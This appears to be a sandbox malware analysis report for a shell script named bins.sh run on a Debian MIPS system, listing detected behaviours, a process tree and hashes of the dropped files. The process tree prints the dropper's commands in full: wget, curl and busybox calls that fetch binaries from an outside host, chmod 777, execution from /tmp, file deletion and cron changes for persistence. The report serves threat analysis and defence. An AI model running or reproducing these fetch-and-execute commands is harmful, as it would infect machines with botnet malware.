Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04/11/2024, 17:27

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241104-v1d2davalk
  • SHA256 6d4629cac44c027f05b9269951e5e016a00de23e9e41601069f5dd6ae27dba09
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1550) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 22 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:708
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:711
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:713
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:736
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:738
        • /bin/chmod
          chmod 777 rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • File and Directory Permissions Modification
          PID:739
        • /tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          ./rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • Executes dropped EXE
          PID:740
        • /bin/rm
          rm rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
            PID:742
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:743
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:744
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:756
          • /bin/chmod
            chmod 777 czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • File and Directory Permissions Modification
            PID:763
          • /tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            ./czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • Executes dropped EXE
            PID:764
          • /bin/rm
            rm czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
              PID:768
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:769
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:784
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:799
            • /bin/chmod
              chmod 777 qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • File and Directory Permissions Modification
              PID:800
            • /tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              ./qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • Executes dropped EXE
              PID:801
            • /bin/rm
              rm qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
                PID:803
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:804
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:805
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:809
              • /bin/chmod
                chmod 777 bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                2⤵
                • File and Directory Permissions Modification
                PID:816
              • /tmp/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                ./bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                2⤵
                • Executes dropped EXE
                PID:818
              • /bin/rm
                rm bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                2⤵
                  PID:821
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:822
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:839
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:845
                • /bin/chmod
                  chmod 777 lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                  2⤵
                  • File and Directory Permissions Modification
                  PID:849
                • /tmp/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                  ./lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                  2⤵
                  • Executes dropped EXE
                  PID:850
                • /bin/rm
                  rm lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                  2⤵
                    PID:852
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:853
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:854
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:856
                  • /bin/chmod
                    chmod 777 ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                    2⤵
                    • File and Directory Permissions Modification
                    PID:857
                  • /tmp/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                    ./ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                    2⤵
                    • Executes dropped EXE
                    PID:858
                  • /bin/rm
                    rm ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                    2⤵
                      PID:860
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:861
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:862
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:864
                    • /bin/chmod
                      chmod 777 6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                      2⤵
                      • File and Directory Permissions Modification
                      PID:865
                    • /tmp/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                      ./6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:866
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:868
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:869
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:870
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:871
                          • /bin/rm
                            rm 6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                            2⤵
                              PID:873
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
                              2⤵
                              • System Network Configuration Discovery
                              PID:876

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

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                                Downloads

                                6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK

                                • Path /tmp/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                                • Size 151KB
                                • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                • MD5 SHA1 SHA512 SSDEEP

                                ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI

                                • Path /tmp/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                                • Size 98KB
                                • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                • MD5 SHA1 SHA512 SSDEEP

                                bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw

                                • Path /tmp/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                                • Size 151KB
                                • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                • MD5 SHA1 SHA512 SSDEEP

                                czVWka3o8UvvUPrq8vvbSKgmuslpFilShk

                                • Path /tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
                                • Size 107KB
                                • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                • MD5 SHA1 SHA512 SSDEEP

                                lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB

                                • Path /tmp/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                                • Size 99KB
                                • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                • MD5 SHA1 SHA512 SSDEEP

                                qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran

                                • Path /tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
                                • Size 119KB
                                • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                • MD5 SHA1 SHA512 SSDEEP

                                rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt

                                • Path /tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
                                • Size 122KB
                                • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                • MD5 SHA1 SHA512 SSDEEP

                                tmp.xeX3sv

                                • Path /var/spool/cron/crontabs/tmp.xeX3sv
                                • Size 210B
                                • SHA256 c0805ac87171c05850d21c1ce068ba9441f99421502914319e9490339fbb01d1
                                • MD5 SHA1 SHA512